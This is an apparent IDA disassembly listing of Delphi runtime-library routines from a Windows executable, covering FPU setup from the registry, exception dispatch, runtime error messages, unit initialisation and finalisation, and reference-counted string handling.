; =============== S U B R O U T I N E =======================================
sub_402C64 proc near ; CODE XREF: sub_403AE4+39p
push ebx
xor ebx, ebx
push 0
call sub_402C5C ; GetKeyboardType
cmp eax, 7
jnz short loc_402C8F
push 1
call sub_402C5C ; GetKeyboardType
and eax, 0FF00h
cmp eax, 0D00h
jz short loc_402C8D
cmp eax, 400h
jnz short loc_402C8F
loc_402C8D: ; CODE XREF: sub_402C64+20j
mov bl, 1
loc_402C8F: ; CODE XREF: sub_402C64+Dj
; sub_402C64+27j
mov eax, ebx
pop ebx
retn
sub_402C64 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402C94 proc near ; CODE XREF: sub_403AE4+42p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
movzx eax, ds:word_406010
mov [ebp+var_8], eax
lea eax, [ebp+var_4]
push eax
push 1
push 0
push offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL"
push 80000002h
call sub_401080 ; RegOpenKeyExA
test eax, eax
jnz short loc_402D0C
xor eax, eax
push ebp
push offset loc_402D05
push dword ptr fs:[eax]
mov fs:[eax], esp
mov [ebp+var_C], 4
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_8]
push eax
push 0
push 0
push offset aFpumaskvalue ; "FPUMaskValue"
mov eax, [ebp+var_4]
push eax
call sub_401088 ; RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_402D0C
loc_402CFB: ; CODE XREF: sub_402C94+76j
mov eax, [ebp+var_4]
push eax
call sub_401078 ; RegCloseKey
retn
; ---------------------------------------------------------------------------
loc_402D05: ; DATA XREF: sub_402C94+2Eo
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_402CFB
; ---------------------------------------------------------------------------
loc_402D0C: ; CODE XREF: sub_402C94+29j
; DATA XREF: sub_402C94+62o
mov ax, ds:word_406010
and ax, 0FFC0h
mov dx, word ptr [ebp+var_8]
and dx, 3Fh
or ax, dx
mov ds:word_406010, ax
mov esp, ebp
pop ebp
retn
sub_402C94 endp
; ---------------------------------------------------------------------------
align 4
aSoftwareBorlan db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_402C94+18o
aFpumaskvalue db 'FPUMaskValue',0 ; DATA XREF: sub_402C94+4Co
align 4
; =============== S U B R O U T I N E =======================================
sub_402D58 proc near ; CODE XREF: sub_4031E8-368p
; CODE:0040312Ep ...
fninit
wait
fldcw ds:word_406010
retn
sub_402D58 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_402D64 proc near ; CODE XREF: CODE:00402F7Fj
; sub_402FC4+30p ...
test eax, eax
jz short locret_402D6F
mov dl, 1
mov ecx, [eax]
call dword ptr [ecx-4]
locret_402D6F: ; CODE XREF: sub_402D64+2j
retn
sub_402D64 endp
; =============== S U B R O U T I N E =======================================
sub_402D70 proc near ; CODE XREF: sub_402FC4+35p
cmp ds:byte_406014, 1
jbe short locret_402D8A
push 0
push 0
push 0
push 0EEDFADFh
call ds:off_407010
locret_402D8A: ; CODE XREF: sub_402D70+7j
retn
sub_402D70 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_402D8C proc near ; CODE XREF: sub_4031E8-33Bp
cmp ds:byte_406014, 0
jz short locret_402DAC
push eax
push eax
push edx
push esp
push 2
push 0
push 0EEDFAE4h
call ds:off_407010
add esp, 8
pop eax
locret_402DAC: ; CODE XREF: sub_402D8C+7j
retn
sub_402D8C endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_402DC8
loc_402DB0: ; CODE XREF: sub_402DC8+Bj
push esp
push 1
push 0
push 0EEDFAE0h
call ds:off_407010
add esp, 4
pop eax
retn
; END OF FUNCTION CHUNK FOR sub_402DC8
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_402DC8 proc near ; CODE XREF: sub_4031E8-28Bp
; FUNCTION CHUNK AT 00402DB0 SIZE 00000015 BYTES
cmp ds:byte_406014, 1
jbe short locret_402DD8
push eax
push ebx
jmp loc_402DB0
; ---------------------------------------------------------------------------
locret_402DD8: ; CODE XREF: sub_402DC8+7j
retn
sub_402DC8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_402DDC proc near ; CODE XREF: sub_402DFC+Cp
test ecx, ecx
jz short locret_402DF9
mov eax, [ecx+1]
cmp byte ptr [ecx], 0E9h
jz short loc_402DF4
cmp byte ptr [ecx], 0EBh
jnz short locret_402DF9
movsx eax, al
inc ecx
inc ecx
jmp short loc_402DF7
; ---------------------------------------------------------------------------
loc_402DF4: ; CODE XREF: sub_402DDC+Aj
add ecx, 5
loc_402DF7: ; CODE XREF: sub_402DDC+16j
add ecx, eax
locret_402DF9: ; CODE XREF: sub_402DDC+2j
; sub_402DDC+Fj
retn
sub_402DDC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_402DFC proc near ; CODE XREF: sub_40191C+1695p
cmp ds:byte_406014, 1
jbe short locret_402E22
push eax
push edx
push ecx
call sub_402DDC
push ecx
push esp
push 1
push 0
push 0EEDFAE1h
call ds:off_407010
pop ecx
pop ecx
pop edx
pop eax
locret_402E22: ; CODE XREF: sub_402DFC+7j
retn
sub_402DFC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_402E24 proc near ; CODE XREF: sub_403018+28p
cmp ds:byte_406014, 1
jbe short locret_402E3F
push edx
push esp
push 1
push 0
push 0EEDFAE2h
call ds:off_407010
pop edx
locret_402E3F: ; CODE XREF: sub_402E24+7j
retn
sub_402E24 endp
; =============== S U B R O U T I N E =======================================
sub_402E40 proc near ; CODE XREF: CODE:loc_403175p
push eax
push edx
cmp ds:byte_406014, 1
jbe short loc_402E5B
push esp
push 2
push 0
push 0EEDFAE3h
call ds:off_407010
loc_402E5B: ; CODE XREF: sub_402E40+9j
pop edx
pop eax
retn
sub_402E40 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_4031E8
loc_402E60: ; CODE XREF: sub_4031E8:loc_40323Dj
; sub_403258:loc_4032ADj ...
mov eax, [esp-4+arg_0]
test dword ptr [eax+4], 6
jnz loc_402F84
cmp dword ptr [eax], 0EEDFADEh
mov edx, [eax+18h]
mov ecx, [eax+14h]
jz short loc_402EED
cld
call sub_402D58
mov edx, ds:dword_40700C
test edx, edx
jz loc_402F84
call edx ; dword_40700C
test eax, eax
jz loc_402F84
mov edx, [esp-4+arg_8]
mov ecx, [esp-4+arg_0]
cmp dword ptr [ecx], 0EEFFACEh
jz short loc_402EE4
call sub_402D8C
cmp ds:byte_406018, 0
jbe short loc_402EE4
cmp ds:byte_406014, 0
ja short loc_402EE4
lea ecx, [esp-4+arg_0]
push eax
push ecx
call sub_401018 ; UnhandledExceptionFilter
cmp eax, 0
pop eax
jz loc_402F84
mov edx, eax
mov eax, [esp+4]
mov ecx, [eax+0Ch]
jmp short loc_402F14
; ---------------------------------------------------------------------------
loc_402EE4: ; CODE XREF: sub_4031E8-33Dj
; sub_4031E8-32Fj ...
mov edx, eax
mov eax, [esp-4+arg_0]
mov ecx, [eax+0Ch]
loc_402EED: ; CODE XREF: sub_4031E8-36Bj
cmp ds:byte_406018, 1
jbe short loc_402F14
cmp ds:byte_406014, 0
ja short loc_402F14
push eax
lea eax, [esp+arg_0]
push edx
push ecx
push eax
call sub_401018 ; UnhandledExceptionFilter
cmp eax, 0
pop ecx
pop edx
pop eax
jz short loc_402F84
loc_402F14: ; CODE XREF: sub_4031E8-306j
; sub_4031E8-2F4j ...
or dword ptr [eax+4], 2
push ebx
xor ebx, ebx
push esi
push edi
push ebp
mov ebx, fs:[ebx]
push ebx
push eax
push edx
push ecx
mov edx, [esp+20h+arg_0]
push 0
push eax
push offset loc_402F38
push edx
call ds:off_407014
loc_402F38: ; DATA XREF: sub_4031E8-2BCo
mov edi, [esp+30h+var_8]
call sub_403C48
push dword ptr [eax+0]
mov [eax+0], esp
mov ebp, [edi+8]
mov ebx, [edi+4]
mov dword ptr [edi+4], offset sub_402F64
add ebx, 5
call sub_402DC8
jmp ebx
; END OF FUNCTION CHUNK FOR sub_4031E8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402F64 proc near ; DATA XREF: sub_4031E8-295o
jmp loc_402F8C
sub_402F64 endp
; ---------------------------------------------------------------------------
call sub_403C48
mov ecx, [eax+0]
mov edx, [ecx]
mov [eax+0], edx
mov eax, [ecx+8]
jmp sub_402D64
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4031E8
loc_402F84: ; CODE XREF: sub_4031E8-37Dj
; sub_4031E8-35Bj ...
mov eax, 1
retn
; END OF FUNCTION CHUNK FOR sub_4031E8
; ---------------------------------------------------------------------------
align 4
; START OF FUNCTION CHUNK FOR sub_40191C
loc_402F8C: ; CODE XREF: sub_40191C:loc_4019E4j
; sub_4019F4:loc_401AE8j ...
mov eax, [esp+4]
mov edx, [esp+8]
test dword ptr [eax+4], 6
jz short loc_402FBC
mov ecx, [edx+4]
mov dword ptr [edx+4], offset loc_402FBC
push ebx
push esi
push edi
push ebp
mov ebp, [edx+8]
add ecx, 5
call sub_402DFC
call ecx
pop ebp
pop edi
pop esi
pop ebx
loc_402FBC: ; CODE XREF: sub_40191C+167Fj
; DATA XREF: sub_40191C+1684o
mov eax, 1
retn
; END OF FUNCTION CHUNK FOR sub_40191C
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_402FC4 proc near ; CODE XREF: sub_4031E8+5Fp
; sub_403258+5Fp
arg_2C = dword ptr 30h
mov eax, [esp+arg_2C]
mov dword ptr [eax+4], offset loc_40300F
call sub_403C48
mov edx, [eax+0]
mov ecx, [edx]
mov [eax+0], ecx
mov eax, [edx+0Ch]
and dword ptr [eax+4], 0FFFFFFFDh
cmp dword ptr [eax], 0EEDFADEh
jz short loc_402FFE
mov eax, [edx+8]
call sub_402D64
call sub_402D70
loc_402FFE: ; CODE XREF: sub_402FC4+2Bj
xor eax, eax
add esp, 14h
mov edx, fs:[eax]
pop ecx
mov edx, [edx]
mov [ecx], edx
pop ebp
pop edi
pop esi
pop ebx
loc_40300F: ; DATA XREF: sub_402FC4+4o
mov eax, 1
retn
sub_402FC4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_403018 proc near ; CODE XREF: sub_4031E8+64p
; sub_403258+64p ...
arg_2C = dword ptr 30h
call sub_403C48
mov edx, [eax+0]
mov ecx, [edx]
mov [eax+0], ecx
mov eax, [edx+8]
call sub_402D64
pop edx
mov esp, [esp-4+arg_2C]
xor eax, eax
pop ecx
mov fs:[eax], ecx
pop eax
pop ebp
call sub_402E24
jmp edx
sub_403018 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_403048 proc near ; CODE XREF: sub_402178+10Cp
; sub_402178+16Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
xor edx, edx
mov ecx, [esp+arg_4]
mov eax, [esp+arg_0]
add ecx, 5
mov fs:[edx], eax
call ecx
retn 0Ch
sub_403048 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 10h
loc_403060: ; CODE XREF: CODE:00403160j
; CODE:0040316Cj
push ebp
mov ebp, esp
mov edx, [ebp+8]
mov eax, [edx]
cmp eax, 0C0000092h
jg short loc_40309B
jz short loc_4030CD
cmp eax, 0C000008Eh
jg short loc_40308D
jz short loc_4030D1
sub eax, 0C0000005h
jz short loc_4030DD
sub eax, 87h
jz short loc_4030C5
dec eax
jz short loc_4030D9
jmp short loc_4030ED
; ---------------------------------------------------------------------------
loc_40308D: ; CODE XREF: CODE:00403076j
add eax, 3FFFFF71h
sub eax, 2
jb short loc_4030CD
jz short loc_4030C9
jmp short loc_4030ED
; ---------------------------------------------------------------------------
loc_40309B: ; CODE XREF: CODE:0040306Dj
cmp eax, 0C0000096h
jg short loc_4030B3
jz short loc_4030E1
sub eax, 0C0000093h
jz short loc_4030D9
dec eax
jz short loc_4030C1
dec eax
jz short loc_4030D5
jmp short loc_4030ED
; ---------------------------------------------------------------------------
loc_4030B3: ; CODE XREF: CODE:004030A0j
sub eax, 0C00000FDh
jz short loc_4030E9
sub eax, 3Dh
jz short loc_4030E5
jmp short loc_4030ED
; ---------------------------------------------------------------------------
loc_4030C1: ; CODE XREF: CODE:004030ACj
mov al, 0C8h
jmp short loc_4030EF
; ---------------------------------------------------------------------------
loc_4030C5: ; CODE XREF: CODE:00403086j
mov al, 0C9h
jmp short loc_4030EF
; ---------------------------------------------------------------------------
loc_4030C9: ; CODE XREF: CODE:00403097j
mov al, 0CDh
jmp short loc_4030EF
; ---------------------------------------------------------------------------
loc_4030CD: ; CODE XREF: CODE:0040306Fj
; CODE:00403095j
mov al, 0CFh
jmp short loc_4030EF
; ---------------------------------------------------------------------------
loc_4030D1: ; CODE XREF: CODE:00403078j
mov al, 0C8h
jmp short loc_4030EF
; ---------------------------------------------------------------------------
loc_4030D5: ; CODE XREF: CODE:004030AFj
mov al, 0D7h
jmp short loc_4030EF
; ---------------------------------------------------------------------------
loc_4030D9: ; CODE XREF: CODE:00403089j
; CODE:004030A9j
mov al, 0CEh
jmp short loc_4030EF
; ---------------------------------------------------------------------------
loc_4030DD: ; CODE XREF: CODE:0040307Fj
mov al, 0D8h
jmp short loc_4030EF
; ---------------------------------------------------------------------------
loc_4030E1: ; CODE XREF: CODE:004030A2j
mov al, 0DAh
jmp short loc_4030EF
; ---------------------------------------------------------------------------
loc_4030E5: ; CODE XREF: CODE:004030BDj
mov al, 0D9h
jmp short loc_4030EF
; ---------------------------------------------------------------------------
loc_4030E9: ; CODE XREF: CODE:004030B8j
mov al, 0CAh
jmp short loc_4030EF
; ---------------------------------------------------------------------------
loc_4030ED: ; CODE XREF: CODE:0040308Bj
; CODE:00403099j ...
mov al, 0FFh
loc_4030EF: ; CODE XREF: CODE:004030C3j
; CODE:004030C7j ...
and eax, 0FFh
mov edx, [edx+0Ch]
call sub_40286C
; ---------------------------------------------------------------------------
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_403100: ; DATA XREF: sub_4031A0+Do
mov eax, [esp+4]
test dword ptr [eax+4], 6
jnz loc_40319A
cmp ds:byte_406014, 0
ja short loc_403129
lea eax, [esp+4]
push eax
call sub_401018 ; UnhandledExceptionFilter
cmp eax, 0
jz short loc_40319A
loc_403129: ; CODE XREF: CODE:00403118j
mov eax, [esp+4]
cld
call sub_402D58
mov edx, [esp+8]
push 0
push eax
push offset loc_403146
push edx
call ds:off_407014
loc_403146: ; DATA XREF: CODE:0040313Ao
mov ebx, [esp+4]
cmp dword ptr [ebx], 0EEDFADEh
mov edx, [ebx+14h]
mov eax, [ebx+18h]
jz short loc_403175
mov edx, ds:dword_40700C
test edx, edx
jz loc_403060
mov eax, ebx
call edx ; dword_40700C
test eax, eax
jz loc_403060
mov edx, [ebx+0Ch]
loc_403175: ; CODE XREF: CODE:00403156j
call sub_402E40
mov ecx, ds:dword_407004
test ecx, ecx
jz short loc_403186
call ecx ; dword_407004
loc_403186: ; CODE XREF: CODE:00403182j
mov ecx, [esp+4]
mov eax, 0D9h
mov edx, [ecx+14h]
mov [esp], edx
jmp sub_40350C
; ---------------------------------------------------------------------------
loc_40319A: ; CODE XREF: CODE:0040310Bj
; CODE:00403127j
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4031A0 proc near ; CODE XREF: sub_4032C8+2Ep
xor edx, edx
lea eax, [ebp-0Ch]
mov ecx, fs:[edx]
mov fs:[edx], eax
mov [eax], ecx
mov dword ptr [eax+4], offset loc_403100
mov [eax+8], ebp
mov ds:dword_407624, eax
retn
sub_4031A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4031C0 proc near ; CODE XREF: sub_403420:loc_4034B0p
xor edx, edx
mov eax, ds:dword_407624
test eax, eax
jz short locret_4031E7
mov ecx, fs:[edx]
cmp eax, ecx
jnz short loc_4031DA
mov eax, [eax]
mov fs:[edx], eax
retn
; ---------------------------------------------------------------------------
loc_4031D8: ; CODE XREF: sub_4031C0+21j
mov ecx, [ecx]
loc_4031DA: ; CODE XREF: sub_4031C0+10j
cmp ecx, 0FFFFFFFFh
jz short locret_4031E7
cmp [ecx], eax
jnz short loc_4031D8
mov eax, [eax]
mov [ecx], eax
locret_4031E7: ; CODE XREF: sub_4031C0+9j
; sub_4031C0+1Dj
retn
sub_4031C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4031E8 proc near ; CODE XREF: sub_4031E8+5Ap
; sub_403258+5Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 00402E60 SIZE 00000104 BYTES
; FUNCTION CHUNK AT 00402F84 SIZE 00000006 BYTES
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
push esi
push edi
mov esi, offset dword_407620
mov eax, [esi+8]
test eax, eax
jz short loc_403251
mov ebx, [esi+0Ch]
mov eax, [eax+4]
mov [ebp+var_4], eax
xor eax, eax
push ebp
push offset loc_40323D
push dword ptr fs:[eax]
mov fs:[eax], esp
test ebx, ebx
jle short loc_403233
loc_403218: ; CODE XREF: sub_4031E8+49j
dec ebx
mov [esi+0Ch], ebx
mov eax, [ebp+var_4]
mov eax, [eax+ebx*8+4]
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_40322F
call [ebp+var_8]
loc_40322F: ; CODE XREF: sub_4031E8+42j
test ebx, ebx
jg short loc_403218
loc_403233: ; CODE XREF: sub_4031E8+2Ej
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
jmp short loc_403251
; ---------------------------------------------------------------------------
loc_40323D: ; DATA XREF: sub_4031E8+21o
jmp loc_402E60
; ---------------------------------------------------------------------------
call sub_4031E8
call sub_402FC4
call sub_403018
loc_403251: ; CODE XREF: sub_4031E8+13j
; sub_4031E8+53j
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
retn
sub_4031E8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403258 proc near ; CODE XREF: sub_4032C8+3Ap
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
push esi
push edi
mov edi, offset dword_407620
mov eax, [edi+8]
test eax, eax
jz short loc_4032C1
mov esi, [eax]
xor ebx, ebx
mov eax, [eax+4]
mov [ebp+var_4], eax
xor eax, eax
push ebp
push offset loc_4032AD
push dword ptr fs:[eax]
mov fs:[eax], esp
cmp esi, ebx
jle short loc_4032A3
loc_403289: ; CODE XREF: sub_403258+49j
mov eax, [ebp+var_4]
mov eax, [eax+ebx*8]
mov [ebp+var_8], eax
inc ebx
mov [edi+0Ch], ebx
cmp [ebp+var_8], 0
jz short loc_40329F
call [ebp+var_8]
loc_40329F: ; CODE XREF: sub_403258+42j
cmp esi, ebx
jg short loc_403289
loc_4032A3: ; CODE XREF: sub_403258+2Fj
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
jmp short loc_4032C1
; ---------------------------------------------------------------------------
loc_4032AD: ; DATA XREF: sub_403258+22o
jmp loc_402E60
; ---------------------------------------------------------------------------
call sub_4031E8
call sub_402FC4
call sub_403018
loc_4032C1: ; CODE XREF: sub_403258+13j
; sub_403258+53j
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
retn
sub_403258 endp
; =============== S U B R O U T I N E =======================================
sub_4032C8 proc near ; CODE XREF: sub_403C94+3Ap
mov ds:off_407010, offset sub_401008
mov ds:off_407014, offset sub_401010
mov ds:off_407628, eax
xor eax, eax
mov ds:dword_40762C, eax
mov ds:off_407630, edx
mov eax, [edx+4]
mov ds:dword_40701C, eax
call sub_4031A0
mov ds:byte_407024, 0
call sub_403258
retn
sub_4032C8 endp
; =============== S U B R O U T I N E =======================================
sub_403308 proc near ; CODE XREF: sub_403420+34p
push ebx
push esi
push edi
mov esi, offset aRuntimeErrorAt ; "Runtime error at 00000000"
mov cl, 10h
mov ebx, ds:dword_406000
loc_403318: ; CODE XREF: sub_403308+33j
mov eax, ebx
mov edi, 0Ah
cdq
idiv edi
add dl, 30h
xor eax, eax
mov al, cl
mov [esi+eax], dl
mov eax, ebx
mov ebx, 0Ah
cdq
idiv ebx
mov ebx, eax
dec ecx
test ebx, ebx
jnz short loc_403318
mov cl, 1Ch
mov eax, ds:dword_406004
loc_403344: ; CODE XREF: sub_403308+54j
mov edx, eax
and edx, 0Fh
mov dl, ds:byte_406078[edx]
xor ebx, ebx
mov bl, cl
mov [esi+ebx], dl
shr eax, 4
dec ecx
test eax, eax
jnz short loc_403344
pop edi
pop esi
pop ebx
retn
sub_403308 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_403364 proc near ; CODE XREF: sub_403420+A4p
xor eax, eax
xchg eax, ds:dword_406000
neg eax
sbb eax, eax
inc eax
mov edi, offset dword_407620
mov ebx, [edi+18h]
mov ebp, [edi+14h]
push dword ptr [edi+1Ch]
push dword ptr [edi+20h]
mov esi, [edi]
mov ecx, 0Bh
rep movsd
pop edi
pop esi
leave
retn 0Ch
sub_403364 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_403394 proc near ; CODE XREF: sub_403420+39p
var_4 = byte ptr -4
push ecx
cmp ds:byte_407034, 0
jz short loc_4033F5
cmp ds:word_407208, 0D7B2h
jnz short loc_4033BD
cmp ds:dword_407210, 0
jbe short loc_4033BD
mov eax, offset dword_407204
call ds:dword_407220
loc_4033BD: ; CODE XREF: sub_403394+13j
; sub_403394+1Cj
push 0
lea eax, [esp+8+var_4]
push eax
push 1Eh
push offset aRuntimeErrorAt ; "Runtime error at 00000000"
push 0FFFFFFF5h
call sub_401000 ; GetStdHandle
push eax
call sub_401020 ; WriteFile
push 0
lea eax, [esp+8+var_4]
push eax
push 2
push offset dword_40341C
push 0FFFFFFF5h
call sub_401000 ; GetStdHandle
push eax
call sub_401020 ; WriteFile
pop edx
retn
; ---------------------------------------------------------------------------
loc_4033F5: ; CODE XREF: sub_403394+8j
cmp ds:byte_40601C, 0
jnz short loc_403411
push 0
push offset aError ; "Error"
push offset aRuntimeErrorAt ; "Runtime error at 00000000"
push 0
call sub_401038 ; MessageBoxA
loc_403411: ; CODE XREF: sub_403394+68j
pop edx
retn
sub_403394 endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 2
dword_40341C dd 0A0Dh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_403420 proc near ; CODE XREF: sub_403500+5p
; CODE:00404EC6p
var_14 = dword ptr -14h
push ebx
push esi
push edi
push ebp
push ecx
mov ebx, offset dword_407620
mov esi, offset dword_407030
cmp byte ptr [ebx+28h], 0
jnz short loc_40344B
cmp dword ptr [esi], 0
jz short loc_40344B
loc_40343A: ; CODE XREF: sub_403420+29j
mov eax, [esi]
mov [esp+14h+var_14], eax
xor eax, eax
mov [esi], eax
call [esp+14h+var_14]
cmp dword ptr [esi], 0
jnz short loc_40343A
loc_40344B: ; CODE XREF: sub_403420+13j
; sub_403420+18j
cmp ds:dword_406004, 0
jz short loc_403465
call sub_403308
call sub_403394
xor eax, eax
mov ds:dword_406004, eax
loc_403465: ; CODE XREF: sub_403420+32j
; sub_403420+D5j
cmp byte ptr [ebx+28h], 2
jnz short loc_403479
cmp ds:dword_406000, 0
jnz short loc_403479
xor eax, eax
mov [ebx+0Ch], eax
loc_403479: ; CODE XREF: sub_403420+49j
; sub_403420+52j
call sub_4031E8
cmp byte ptr [ebx+28h], 1
jbe short loc_40348D
cmp ds:dword_406000, 0
jz short loc_4034B0
loc_40348D: ; CODE XREF: sub_403420+62j
mov edi, [ebx+10h]
test edi, edi
jz short loc_4034B0
mov eax, edi
call sub_403998
mov ebp, [ebx+10h]
mov esi, [ebp+10h]
cmp esi, [ebp+4]
jz short loc_4034B0
test esi, esi
jz short loc_4034B0
push esi
call sub_401040 ; FreeLibrary
loc_4034B0: ; CODE XREF: sub_403420+6Bj
; sub_403420+72j ...
call sub_4031C0
cmp byte ptr [ebx+28h], 1
jnz short loc_4034BE
call dword ptr [ebx+24h]
loc_4034BE: ; CODE XREF: sub_403420+99j
cmp byte ptr [ebx+28h], 0
jz short loc_4034C9
call sub_403364
loc_4034C9: ; CODE XREF: sub_403420+A2j
cmp dword ptr [ebx], 0
jnz short loc_4034E8
cmp ds:dword_407018, 0
jz short loc_4034DD
call ds:dword_407018
loc_4034DD: ; CODE XREF: sub_403420+B5j
mov eax, ds:dword_406000
push eax
call sub_401030 ; ExitProcess
loc_4034E8: ; CODE XREF: sub_403420+ACj
mov eax, [ebx]
mov esi, eax
mov edi, ebx
mov ecx, 0Bh
rep movsd
jmp loc_403465
sub_403420 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
pop edx
pop ebp
pop edi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_403500 proc near ; CODE XREF: sub_40286C+6p
; sub_40350C+6j ...
mov ds:dword_406000, eax
call sub_403420
sub_403500 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40350C proc near ; CODE XREF: CODE:00403195j
; sub_403BF8+1Bp ...
pop ds:dword_406004
jmp sub_403500
sub_40350C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_403518 proc near ; CODE XREF: sub_402A84+Ep
; sub_4035DC+23p ...
mov edx, [eax]
test edx, edx
jz short locret_40353A
mov dword ptr [eax], 0
mov ecx, [edx-8]
dec ecx
jl short locret_40353A
lock dec dword ptr [edx-8]
jnz short locret_40353A
push eax
lea eax, [edx-8]
call sub_4027FC
pop eax
locret_40353A: ; CODE XREF: sub_403518+4j
; sub_403518+10j ...
retn
sub_403518 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40353C proc near ; CODE XREF: sub_4042A4+18Dp
; sub_4042A4+1A2p ...
push ebx
push esi
mov ebx, eax
mov esi, edx
loc_403542: ; CODE XREF: sub_40353C+2Aj
mov edx, [ebx]
test edx, edx
jz short loc_403562
mov dword ptr [ebx], 0
mov ecx, [edx-8]
dec ecx
jl short loc_403562
lock dec dword ptr [edx-8]
jnz short loc_403562
lea eax, [edx-8]
call sub_4027FC
loc_403562: ; CODE XREF: sub_40353C+Aj
; sub_40353C+16j ...
add ebx, 4
dec esi
jnz short loc_403542
pop esi
pop ebx
retn
sub_40353C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40356C proc near ; CODE XREF: sub_403688+8j
; sub_4042A4+173p ...
test edx, edx
jz short loc_403594
mov ecx, [edx-8]
inc ecx
jg short loc_403590
push eax
push edx
mov eax, [edx-4]
call sub_4035B0
mov edx, eax
pop eax
push edx
mov ecx, [eax-4]
call sub_4028E0
pop edx
pop eax
jmp short loc_403594
; ---------------------------------------------------------------------------
loc_403590: ; CODE XREF: sub_40356C+8j
lock inc dword ptr [edx-8]
loc_403594: ; CODE XREF: sub_40356C+2j
; sub_40356C+22j
xchg edx, [eax]
test edx, edx
jz short locret_4035AE
mov ecx, [edx-8]
dec ecx
jl short locret_4035AE
lock dec dword ptr [edx-8]
jnz short locret_4035AE
lea eax, [edx-8]
call sub_4027FC
locret_4035AE: ; CODE XREF: sub_40356C+2Cj
; sub_40356C+32j ...
retn
sub_40356C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4035B0 proc near ; CODE XREF: sub_40356C+Fp
; sub_4035DC+Bp ...
test eax, eax
jle short loc_4035D8
push eax
add eax, 0Ah
and eax, 0FFFFFFFEh
push eax
call sub_4027CC
pop edx
mov word ptr [edx+eax-2], 0
add eax, 8
pop edx
mov [eax-4], edx
mov dword ptr [eax-8], 1
retn
; ---------------------------------------------------------------------------
loc_4035D8: ; CODE XREF: sub_4035B0+2j
xor eax, eax
retn
sub_4035B0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4035DC proc near ; CODE XREF: sub_402A84+30p
; sub_403628+8p ...
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
mov eax, edi
call sub_4035B0
mov ecx, edi
mov edi, eax
test esi, esi
jz short loc_4035FD
mov edx, eax
mov eax, esi
call sub_4028E0
loc_4035FD: ; CODE XREF: sub_4035DC+16j
mov eax, ebx
call sub_403518
mov [ebx], edi
pop edi
pop esi
pop ebx
retn
sub_4035DC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40360C proc near ; CODE XREF: sub_4037E0+3Bp
; sub_4037E0+69p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push edx
push eax
mov eax, [ebp+arg_0]
push eax
push ecx
push 0
mov eax, ds:dword_4075A8
push eax
call sub_401070 ; MultiByteToWideChar
pop ebp
retn 4
sub_40360C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
